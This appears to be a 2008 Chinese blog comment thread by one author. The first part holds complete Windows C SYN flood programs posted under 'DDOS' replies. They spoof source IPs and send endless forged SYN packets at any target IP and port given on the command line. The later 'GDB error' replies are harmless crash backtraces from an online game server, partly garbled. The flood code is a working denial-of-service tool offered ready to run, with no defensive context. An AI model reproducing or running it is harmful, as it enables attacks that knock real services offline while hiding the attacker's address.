ip_header.checksum=0; //16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址

//更改TCP首部

tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号
tcp_header.th_sum=0; //校验和

//更改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP;

//计算TCP校验和,计算校验和时需要包括TCP pseudo header
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

//计算IP校验和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);

datasize=sizeof(ip_header)+sizeof(tcp_header);

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

//填充发送缓冲区

memcpy(SendBuf,&ip_header,sizeof(ip_header));

//发送TCP报文

ErrorCode=sendto(SockRaw,

SendBuf,

datasize,

0,

(struct sockaddr*) &DestAddr,

sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
}//End of for

}//End of While

}//End of try

__finally
{

if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
}
return nRetCode;
}
re: DDOS 聂文龙 2008-09-05 17:20
// synflood.cpp

#include <winsock2.h>
#include <Ws2tcpip.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32")
#pragma comment(lib,"wsock32")
#define FAKE_IP "201.79.131.18"
#define SEQ 0x28376839
#define right "===============Coder Paris-ye====================\n"
USHORT checksum(USHORT *buffer, int size);
int flood();

typedef struct tcphdr
{
 USHORT th_sport;
 USHORT th_dport;
 unsigned int th_seq;
 unsigned int th_ack;
 unsigned char th_lenres;
 unsigned char th_flag;
 USHORT th_win;
 USHORT th_sum;
 USHORT th_urp;
}TCP_HEADER;

typedef struct iphdr
{
 unsigned char h_verlen;
 unsigned char tos;
 unsigned short total_len;
 unsigned short ident;
 unsigned short frag_and_flags;
 unsigned char  ttl;
 unsigned char proto;
 unsigned short checksum;
 unsigned int sourceIP;
 unsigned int destIP;
}IP_HEADER;

struct
{
 unsigned long saddr;
 unsigned long daddr;
 char mbz;
 char ptcl;
 unsigned short tcpl;
}PSD_HEADER;

WSADATA wsaData;
SOCKET  sockMain = (SOCKET) NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
unsigned short activPort=40000;
struct sockaddr_in sockAddr;
TCP_HEADER  tcpheader;
IP_HEADER   ipheader;
char        sendBuf[128];

USHORT checksum(USHORT *buffer, int size)
{
 unsigned long cksum=0;
 while(size >1) {
  cksum+=*buffer++;
  size-=sizeof(USHORT);
 }
 if(size) cksum+=*(UCHAR*)buffer;
 cksum=(cksum >> 16)+(cksum&0xffff);
 cksum+=(cksum >>16);
 return (USHORT)(~cksum);
}


int main(int argc,char* argv[])
{
 int    portNum=0;
 DWORD  dw;
 HANDLE hThread=NULL;
 char   putInfo;

 if(argc!=3)
 {
  printf("%s\n",right);
  printf("Invalid command,Pls use:\n%s  <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);
  return 1;
 }
 if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
         printf("WSAStartup failed: %d\n",ErrorCode);
         return 2;
 }
 sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
 if(sockMain==INVALID_SOCKET)
 {
  printf("Socket failed: %d\n",WSAGetLastError());
 return 3;
 }
 ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
 if(ErrorCode==SOCKET_ERROR)
 {
         printf("Set sockopt failed: %d\n",WSAGetLastError());
  return 4;
 }
 ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
 if(ErrorCode==SOCKET_ERROR)
 {
         printf("Set sockopt time out failed: %d\n",WSAGetLastError());
 return 5;
 }
 portNum=atoi(argv[2]);

 memset(&sockAddr,0,sizeof(sockAddr));
 sockAddr.sin_family=AF_INET;
 sockAddr.sin_addr.s_addr =inet_addr(argv[1]);
 FakeIpNet=inet_addr(FAKE_IP);
 FakeIpHost=ntohl(FakeIpNet);

 ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
 ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
 ipheader.ident = 1;
 ipheader.frag_and_flags = 0;
 ipheader.ttl = 128;
 ipheader.proto = IPPROTO_TCP;
 ipheader.checksum =0;
 ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
 ipheader.destIP = inet_addr(argv[1]);

 tcpheader.th_dport=htons(portNum);
 tcpheader.th_sport = htons(portNum);
 tcpheader.th_seq = htonl(SEQ+SendSEQ);
 tcpheader.th_ack = 0;
 tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
 tcpheader.th_flag = 2;
 tcpheader.th_win = htons(16384);
 tcpheader.th_urp = 0;
 tcpheader.th_sum = 0;

 PSD_HEADER.saddr=ipheader.sourceIP;
 PSD_HEADER.daddr=ipheader.destIP;
 PSD_HEADER.mbz=0;
 PSD_HEADER.ptcl=IPPROTO_TCP;
 PSD_HEADER.tcpl=htons(sizeof(tcpheader));
 printf("%s\n",right);
 hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw);
 SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);
 ResumeThread(hThread);
 printf("Warning[start]...........\nPress any key to stop!\n");
 putInfo=getchar();
 TerminateThread(hThread,0);
 WSACleanup();
 printf("\nStopd...........\n");

 return 0;
}

int flood()
{
 while(1)
 {
  if(SendSEQ++==65536) SendSEQ=1;
  if(activPort++==40010) activPort=1000;
  ipheader.checksum =0;
  ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
  tcpheader.th_seq = htonl(SEQ+SendSEQ);
  tcpheader.th_sport = htons(activPort);
  tcpheader.th_sum = 0;
  PSD_HEADER.saddr=ipheader.sourceIP;
  memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
  memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
  tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

  memcpy(sendBuf,&ipheader,sizeof(ipheader));
  memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
  memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
  dataSize=sizeof(ipheader)+sizeof(tcpheader);
  ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
  memcpy(sendBuf,&ipheader,sizeof(ipheader));
  ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
  if(ErrorCode==SOCKET_ERROR)
  {
   printf("\nCan't connect this IP!Pls check it.\n");
   ExitThread(1);
  }
  // Sleep(1000);
 }
 return 0;
}

re: DDOS 聂文龙 2008-09-05 17:19
synflood.c
--------------------
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"wsock32")
#define FAKE_IP "201.79.131.18"
#define SEQ 0x28376839
#define right "===============Coder Paris-ye====================\n"
USHORT checksum(USHORT *buffer, int size);
int flood();
typedef struct tcphdr
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCP_HEADER;
typedef struct iphdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char  ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;
struct
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSD_HEADER;
WSADATA wsaData;
SOCKET  sockMain = (SOCKET) NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
unsigned short activPort=40000;
struct sockaddr_in sockAddr;
TCP_HEADER  tcpheader;
IP_HEADER   ipheader;
char        sendBuf[128];
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
int main(int argc,char* argv[])
{
int    portNum=0;
DWORD  dw;
HANDLE hThread=NULL;
char   putInfo;
if(argc!=3)
{
printf("%s\n",right);
printf("Invalid command,Pls use:\n%s  <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);
return 1;
}
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
printf("WSAStartup failed: %d\n",ErrorCode);
return 2;
}
sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if(sockMain==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 3;
}
ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 4;
}
ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 5;
}
portNum=atoi(argv[2]);
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(argv[1]);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(argv[1]);
tcpheader.th_dport=htons(portNum);
tcpheader.th_sport = htons(portNum);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));
printf("%s\n",right);
hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw);
SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);
ResumeThread(hThread);
printf("Warning[start]...........\nPress any key to stop!\n");
putInfo=getchar();
TerminateThread(hThread,0);
WSACleanup();
printf("\nStopd...........\n");
return 0;
}
int flood()
{
while(1)
{
if(SendSEQ++==65536) SendSEQ=1;
if(activPort++==40010) activPort=1000;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(activPort);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));
ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
if(ErrorCode==SOCKET_ERROR)
{
printf("\nCan't connect this IP!Pls check it.\n");
ExitThread(1);
}
// Sleep(1000);
}
return 0;
}
re: GDB error. new... 聂文龙 2008-08-01 02:06
吉尔曼 checks enemy 萨卡特
Tile(Flag:9
Objects:SG(ItemID:2519149,ItemType:8,OptionType:85 ,Durability:15000,BulletCount:0,Silver:0,EnchantLevel:0)
TileOption:0)
锟斤拷锟斤拷锟斤拷 tile priority 锟斤拷锟�= 4
锟矫凤拷锟斤拷 锟斤拷锟�= 9
DuplicatedException : tile priority duplicated

DuplicatedException : tile priority duplicated
void Tile::addItem(Item*)
void Tile::addObject(Object*)

==============================================================================
UNEXPECTED EXCEPTION OCCURED
==============================================================================

Program received signal SIGABRT, Aborted.
[Switching to Thread 27040656 (LWP 25842)]
0x1054a7f0 in raise ()
(gdb) where
#0 0x1054a7f0 in raise ()
#1 0x10503810 in abort ()
#2 0x0804ce67 in handleUnexpectedException () at main.cpp:48
#3 0x104ec5f5 in __cxxabiv1::__unexpected ()
#4 0x104ecde8 in __cxa_call_unexpected ()
#5 0x0807e5b0 in Zone::addItem (this=0x16d75ce0, pItem=0x1c507fc8, cx=44, cy=205, bAllowCreature=true,
decayTurn=0, DropPetOID=0) at Zone.cpp:4409
#6 0x0b9c094b in CGAddMouseToZoneHandler::execute (pPacket=0x1c481fc8, pPlayer=0x1c4fe7d0)
at CGAddMouseToZoneHandler.cpp:134
#7 0x0b9a540c in CGAddMouseToZone::execute (this=0x1c481fc8, pPlayer=0x1c4fe7d0) at CGAddMouseToZone.cpp:76
#8 0x081ed78e in GamePlayer::processCommand (this=0x1c4fe7d0, Option=true) at GamePlayer.cpp:531
#9 0x0840c716 in ZonePlayerManager::processCommands (this=0x15dc7230) at ZonePlayerManager.cpp:620
#10 0x083b73ac in ZoneGroup::processPlayers (this=0x1567ece8) at ZoneGroup.cpp:156
#11 0x0841dfd2 in ZoneGroupThread::run (this=0x1c404640) at ZoneGroupThread.cpp:136
#12 0x0ae26f33 in start_routine (derivedThread=0x1c404640) at Thread.cpp:236
#13 0x10466819 in start_thread ()
#14 0x00000002 in ?? ()
#15 0x00000002 in ?? ()
#16 0x00000002 in ?? ()
#17 0x019c92f0 in ?? ()
#18 0x00000000 in ?? ()
(gdb) up
#1 0x10503810 in abort ()
(gdb)
#2 0x0804ce67 in handleUnexpectedException () at main.cpp:48
48 abort();
(gdb)
#3 0x104ec5f5 in __cxxabiv1::__unexpected ()
(gdb)
#4 0x104ecde8 in __cxa_call_unexpected ()
(gdb)
#5 0x0807e5b0 in Zone::addItem (this=0x16d75ce0, pItem=0x1c507fc8, cx=44, cy=205, bAllowCreature=true,
decayTurn=0, DropPetOID=0) at Zone.cpp:4409

4409 throw(EmptyTileNotExistException, Error)
(gdb)
#6 0x0b9c094b in CGAddMouseToZoneHandler::execute (pPacket=0x1c481fc8, pPlayer=0x1c4fe7d0)
at CGAddMouseToZoneHandler.cpp:134

134 TPOINT pt = pZone->addItem(pItem, pCreature->getX(), pCreature->getY(), true, decayTurn);
(gdb)

#7 0x0b9a540c in CGAddMouseToZone::execute (this=0x1c481fc8, pPlayer=0x1c4fe7d0) at CGAddMouseToZone.cpp:76
76 CGAddMouseToZoneHandler::execute (this , pPlayer);
(gdb)
#8 0x081ed78e in GamePlayer::processCommand (this=0x1c4fe7d0, Option=true) at GamePlayer.cpp:531
531 pPacket->execute(this);
(gdb)
re: GDB error 聂文龙 2008-07-29 11:21
pure virtual method called
==============================================================================
UNHANDLED EXCEPTION OCCURED
==============================================================================

Program received signal SIGABRT, Aborted.
[Switching to Thread 27257744 (LWP 10286)]
0x1057db90 in raise ()
(gdb) where
#0 0x1057db90 in raise ()
#1 0x10536bb0 in abort ()
#2 0x0804cef3 in handleUnhandledException () at main.cpp:39
#3 0x1051f935 in __cxxabiv1::__terminate ()
#4 0x1051f972 in std::terminate ()
#5 0x1051fa05 in __cxa_pure_virtual ()
#6 0x08074655 in Zone::broadcastPacket (this=0x16ffaf68, cx=21, cy=138,
pPacket=0x19fdb90, owner=0x1c7ada00, Plus=false, Range=0 '\0')
at Zone.cpp:5201
#7 0x0cc2db27 in executeSkillFailNormal (pCreature=0x1c7ada00, SkillType=0,
pTargetCreature=0x1c797058, Grade=0 '\0') at SkillUtil.cpp:6466
#8 0x0cc6edd3 in AttackMelee::execute (this=0x12630400, pMonster=0x1c7ada00,
pEnemy=0x1c797058) at AttackMelee.cpp:544
#9 0x08b11018 in MonsterAI::useSkill (this=0x1c7abbb0, pEnemy=0x1c797058,
SkillType=0, ratio=90) at MonsterAI.cpp:864
#10 0x08b12c33 in MonsterAI::deal (this=0x1c7abbb0, pEnemy=0x1c797058,
currentTime=@0x19fdf34) at MonsterAI.cpp:1134
#11 0x08aa85dc in Monster::act (this=0x1c7ada00, currentTime=@0x19fdf34)
at Monster.cpp:700
#12 0x08ae9533 in MonsterManager::processCreatures (this=0x16f1b428)
at MonsterManager.cpp:710
#13 0x0808e3b1 in Zone::heartbeat (this=0x16ffaf68) at Zone.cpp:8464
#14 0x083b6fb2 in ZoneGroup::heartbeat (this=0x15903ee8) at ZoneGroup.cpp:202
---Type <return> to continue, or q <return> to quit---
#15 0x0841df68 in ZoneGroupThread::run (this=0x1c64eba0)
at ZoneGroupThread.cpp:140
#16 0x0ae270f7 in start_routine (derivedThread=0x1c64eba0) at Thread.cpp:236
#17 0x10496419 in start_thread ()
#18 0x00000002 in ?? ()
#19 0x00000002 in ?? ()
#20 0x00000002 in ?? ()
#21 0x019fe2f0 in ?? ()
#22 0x00000000 in ?? ()
(gdb) up
#1 0x10536bb0 in abort ()
(gdb)
#2 0x0804cef3 in handleUnhandledException () at main.cpp:39
39 abort();
(gdb)
#3 0x1051f935 in __cxxabiv1::__terminate ()
(gdb)
#4 0x1051f972 in std::terminate ()
(gdb)
#5 0x1051fa05 in __cxa_pure_virtual ()
(gdb)
#6 0x08074655 in Zone::broadcastPacket (this=0x16ffaf68, cx=21, cy=138,
pPacket=0x19fdb90, owner=0x1c7ada00, Plus=false, Range=0 '\0')
at Zone.cpp:5201


5201 for (list<Object*>::const_iterator itr = objectList.begin() ;
(gdb)
#7 0x0cc2db27 in executeSkillFailNormal (pCreature=0x1c7ada00, SkillType=0,
pTargetCreature=0x1c797058, Grade=0 '\0') at SkillUtil.cpp:6466
6466 pZone->broadcastPacket(pCreature->getX(), pCreature->getY(), &gcSkillFailed2, pCreature);
(gdb)
#8 0x0cc6edd3 in AttackMelee::execute (this=0x12630400, pMonster=0x1c7ada00,
pEnemy=0x1c797058) at AttackMelee.cpp:544
544 executeSkillFailNormal(pMonster, getSkillType(), pEnemy);
(gdb)
re: GDB error 聂文龙 2008-07-29 00:10
#0 0x1bdcedd8 in ?? ()
#1 0x08074655 in Zone::broadcastPacket (this=0x1661fee0, cx=38, cy=211,
pPacket=0x17c4e5c, owner=0x0, Plus=false, Range=0 '\0') at Zone.cpp:5201
#2 0x08d6a689 in EffectDecayItem::unaffect (this=0xb7e18ca0,
pZone=0x1661fee0, x=38, y=211, pTarget=0x1bdcf0f0)
at EffectDecayItem.cpp:110
#3 0x08d6aacb in ~EffectDecayItem (this=0xb7e18ca0) at EffectDecayItem.cpp:54
#4 0x08c9e0b2 in EffectManager::heartbeat (this=0x165405a8,
currentTime=@0x17c4fc8) at EffectManager.cpp:566
#5 0x0808e4b7 in Zone::heartbeat (this=0x1661fee0) at Zone.cpp:8493
#6 0x083b6fb2 in ZoneGroup::heartbeat (this=0x14f28ce8) at ZoneGroup.cpp:202
#7 0x0841df68 in ZoneGroupThread::run (this=0x1bc941c8)
at ZoneGroupThread.cpp:140
#8 0x0ae270f7 in start_routine (derivedThread=0x1bc941c8) at Thread.cpp:236
#9 0x104669d9 in start_thread ()
#10 0x00000002 in ?? ()
#11 0x00000002 in ?? ()
#12 0x00000002 in ?? ()
#13 0x017c52f0 in ?? ()
#14 0x00000000 in ?? ()
(gdb)
re: GDB error 聂文龙 2008-07-28 17:12
// Filename    : ZoneUtil.cpp

bool canAddCreature(Zone* pZone, ZoneCoord_t x, ZoneCoord_t y, Creature::MoveMode MMode)
 throw()
{
 __BEGIN_TRY
 Assert(pZone != NULL);
 if (x > 0 && y > 0 &&
  x < pZone->getWidth()-1 && y < pZone->getHeight()-1)
 {
  if (!pZone->getTile(x,y).isBlocked(MMode))
  {
   return true;
  }
 }
 return false;
 __END_CATCH
}
re: GDB error 聂文龙 2008-07-28 17:03
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 26905488 (LWP 32705)]
0x0febd175 in SocketInputStream::length (this=0xdd) at SocketInputStream.cpp:608
608 if ( m_Head < m_Tail )
(gdb) where
#0 0x0febd175 in SocketInputStream::length (this=0xdd) at SocketInputStream.cpp:608
#1 0x0aed5043 in SocketInputStream::read<unsigned long> (this=0xdd, buf=@0xb7e03860) at SocketInputStream.h:142
#2 0x0fe98f63 in PCSlayerInfo3::read (this=0xb7e0385c, iStream=@0xdd) at PCSlayerInfo3.cpp:19
#3 0x0aff3293 in GCAddSlayer::read (this=0xb7e03858, iStream=@0xdd) at GCAddSlayer.cpp:43
#4 0x08080de0 in Zone::movePCBroadcast (this=0x17a30198, pPC=0x1d1d10e8, x1=30, y1=222, x2=29, y2=221, bSendMove=true,
bKnockback=false) at Zone.cpp:7709
#5 0x080839b3 in Zone::movePC (this=0x17a30198, pCreature=0x1d1d10e8, cx=30, cy=222, dir=7 '\a') at Zone.cpp:2743
#6 0x0bb55c35 in CGMoveHandler::execute (pPacket=0xb7e28b60, pPlayer=0x1d1cb0d0) at CGMoveHandler.cpp:59
#7 0x0bb3b114 in CGMove::execute (this=0xb7e28b60, pPlayer=0x1d1cb0d0) at CGMove.cpp:72
#8 0x081ed716 in GamePlayer::processCommand (this=0x1d1cb0d0, Option=true) at GamePlayer.cpp:531
#9 0x0840c69e in ZonePlayerManager::processCommands (this=0x16a81708) at ZonePlayerManager.cpp:620
#10 0x083b7334 in ZoneGroup::processPlayers (this=0x16338ee8) at ZoneGroup.cpp:156
#11 0x0841df5a in ZoneGroupThread::run (this=0x1d083e40) at ZoneGroupThread.cpp:136
#12 0x0ae270f7 in start_routine (derivedThread=0x1d083e40) at Thread.cpp:236
#13 0x10496419 in start_thread ()
#14 0x00000002 in ?? ()
#15 0x00000002 in ?? ()
#16 0x00000002 in ?? ()
#17 0x019a82f0 in ?? ()
#18 0x00000000 in ?? ()
(gdb)
re: GDB error 聂文龙 2008-07-28 16:50
pure virtual method called
==============================================================================
UNHANDLED EXCEPTION OCCURED
==============================================================================

Program received signal SIGABRT, Aborted.
[Switching to Thread 27237264 (LWP 32474)]
0x1057db90 in raise ()
(gdb) where
#0 0x1057db90 in raise ()
#1 0x10536bb0 in abort ()
#2 0x0804cef3 in handleUnhandledException () at main.cpp:39
#3 0x1051f935 in __cxxabiv1::__terminate ()
#4 0x1051f972 in std::terminate ()
#5 0x1051fa05 in __cxa_pure_virtual ()
#6 0x08074655 in Zone::broadcastPacket (this=0x175b81a8, cx=38, cy=207, pPacket
=0x19f8aa0, owner=0xb7e050f0, Plus=false,
Range=0 '\0') at Zone.cpp:5201
#7 0x0cc2db27 in executeSkillFailNormal (pCreature=0xb7e050f0, SkillType=93, pT
argetCreature=0x1cd5e190, Grade=0 '\0')
at SkillUtil.cpp:6466
#8 0x0fd90e0c in SimpleMeleeSkill::execute (this=0x127e6400, pMonster=0xb7e050f
0, pEnemy=0x1cd5e190, param=@0x19f8bcc,
result=@0x19f8c1c, CEffectID=0) at SimpleMeleeSkill.cpp:730
#9 0x0d5a33c5 in BloodyNail::execute (this=0x12681840, pMonster=0xb7e050f0, pEn emy=0x1cd5e190) at BloodyNail.cpp:93
#10 0x08b11018 in MonsterAI::useSkill (this=0xb7e04da0, pEnemy=0x1cd5e190, Skill Type=93, ratio=30) at MonsterAI.cpp:864
#11 0x08b12c33 in MonsterAI::deal (this=0xb7e04da0, pEnemy=0x1cd5e190, currentTi me=@0x19f8f34) at MonsterAI.cpp:1134
#12 0x08aa85dc in Monster::act (this=0xb7e050f0, currentTime=@0x19f8f34) at Mons ter.cpp:700
#13 0x08ae9533 in MonsterManager::processCreatures (this=0x174d8608) at MonsterM anager.cpp:710
#14 0x0808e3b1 in Zone::heartbeat (this=0x175b81a8) at Zone.cpp:8464
#15 0x083b6fb2 in ZoneGroup::heartbeat (this=0x15ec0ee8) at ZoneGroup.cpp:202
#16 0x0841df68 in ZoneGroupThread::run (this=0x1cc4a828) at ZoneGroupThread.cpp: 140
#17 0x0ae270f7 in start_routine (derivedThread=0x1cc4a828) at Thread.cpp:236
#18 0x10496419 in start_thread ()
#19 0x00000002 in ?? ()
#20 0x00000002 in ?? ()
#21 0x00000002 in ?? ()
#22 0x019f92f0 in ?? ()
#23 0x00000000 in ?? ()
(gdb)

re: GDB error 聂文龙 2008-07-28 16:24
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 27044752 (LWP 31623)]
0xb7e01c5d in ?? ()
(gdb) where
#0 0xb7e01c5d in ?? ()
#1 0xffffffe0 in ?? ()
#2 0x0807fc4a in Zone::moveCreatureBroadcast (this=0x184e30f8, pCreature=0xb7e03b90, x1=38, y1=212, x2=38, y2=213,
bSendMove=true, bKnockback=false) at Zone.cpp:8283
#3 0x08080189 in Zone::moveCreature (this=0x184e30f8, pCreature=0xb7e03b90, nx=38, ny=213, dir=2 '\002') at Zone.cpp:3127
#4 0x08b120d1 in MonsterAI::move (this=0xb7e01840, ex=41, ey=211) at MonsterAI.cpp:712
#5 0x08b1229c in MonsterAI::move (this=0xb7e01840, pEnemy=0x1dc84620, bRetreat=false) at MonsterAI.cpp:763
#6 0x08b13706 in MonsterAI::approach (this=0xb7e01840, pEnemy=0x1dc84620) at MonsterAI.h:84
#7 0x08b12b26 in MonsterAI::deal (this=0xb7e01840, pEnemy=0x1dc84620, currentTime=@0x19c9f34) at MonsterAI.cpp:1105
#8 0x08aa85dc in Monster::act (this=0xb7e03b90, currentTime=@0x19c9f34) at Monster.cpp:700
#9 0x08ae9533 in MonsterManager::processCreatures (this=0x18403548) at MonsterManager.cpp:710
#10 0x0808e3b1 in Zone::heartbeat (this=0x184e30f8) at Zone.cpp:8464
#11 0x083b6fb2 in ZoneGroup::heartbeat (this=0x16debee8) at ZoneGroup.cpp:202
#12 0x0841df68 in ZoneGroupThread::run (this=0x1db36e18) at ZoneGroupThread.cpp:140
#13 0x0ae270f7 in start_routine (derivedThread=0x1db36e18) at Thread.cpp:236
#14 0x10496419 in start_thread ()
#15 0x00000002 in ?? ()
#16 0x00000002 in ?? ()
#17 0x00000002 in ?? ()
#18 0x019ca2f0 in ?? ()
#19 0x00000000 in ?? ()
(gdb)
re: GDB error 聂文龙 2008-07-28 15:58
Program received signal SIGILL, Illegal instruction.
[Switching to Thread 26004368 (LWP 29348)]
0xb7e33d89 in ?? ()
(gdb) where
#0 0xb7e33d89 in ?? ()
#1 0x0807fc4a in Zone::moveCreatureBroadcast (this=0x16dd80a8, pCreature=0xb7e36180, x1=37, y1=206, x2=36, y2=206,
bSendMove=true, bKnockback=false) at Zone.cpp:8283
#2 0x08080189 in Zone::moveCreature (this=0x16dd80a8, pCreature=0xb7e36180, nx=36, ny=206, dir=0 '\0') at Zone.cpp:3127
#3 0x08aa88cf in Monster::act (this=0xb7e36180, currentTime=@0x18cbf34) at Monster.cpp:762
#4 0x08ae9533 in MonsterManager::processCreatures (this=0x16cf84e0) at MonsterManager.cpp:710
#5 0x0808e3b1 in Zone::heartbeat (this=0x16dd80a8) at Zone.cpp:8464
#6 0x083b6fb2 in ZoneGroup::heartbeat (this=0x156e0ee8) at ZoneGroup.cpp:202
#7 0x0841df68 in ZoneGroupThread::run (this=0x1c42b9a8) at ZoneGroupThread.cpp:140
#8 0x0ae270f7 in start_routine (derivedThread=0x1c42b9a8) at Thread.cpp:236
#9 0x10496419 in start_thread ()
#10 0x00000002 in ?? ()
#11 0x00000002 in ?? ()
#12 0x00000002 in ?? ()
#13 0x018cc2f0 in ?? ()
#14 0x00000000 in ?? ()
(gdb) up
#1 0x0807fc4a in Zone::moveCreatureBroadcast (this=0x16dd80a8, pCreature=0xb7e36180, x1=37, y1=206, x2=36, y2=206,
bSendMove=true, bKnockback=false) at Zone.cpp:8283
8283 for (; itr != objectList.end() && (*itr)->getObjectPriority() <= OBJECT_PRIORITY_BURROWING_CREATURE; itr++)
(gdb) up
#2 0x08080189 in Zone::moveCreature (this=0x16dd80a8, pCreature=0xb7e36180, nx=36, ny=206, dir=0 '\0') at Zone.cpp:3127
3127 moveCreatureBroadcast(pCreature, cx, cy, nx, ny);
(gdb) up
#3 0x08aa88cf in Monster::act (this=0xb7e36180, currentTime=@0x18cbf34) at Monster.cpp:762
762 m_pZone->moveCreature(this, nx, ny, direction);
(gdb) up
#4 0x08ae9533 in MonsterManager::processCreatures (this=0x16cf84e0) at MonsterManager.cpp:710
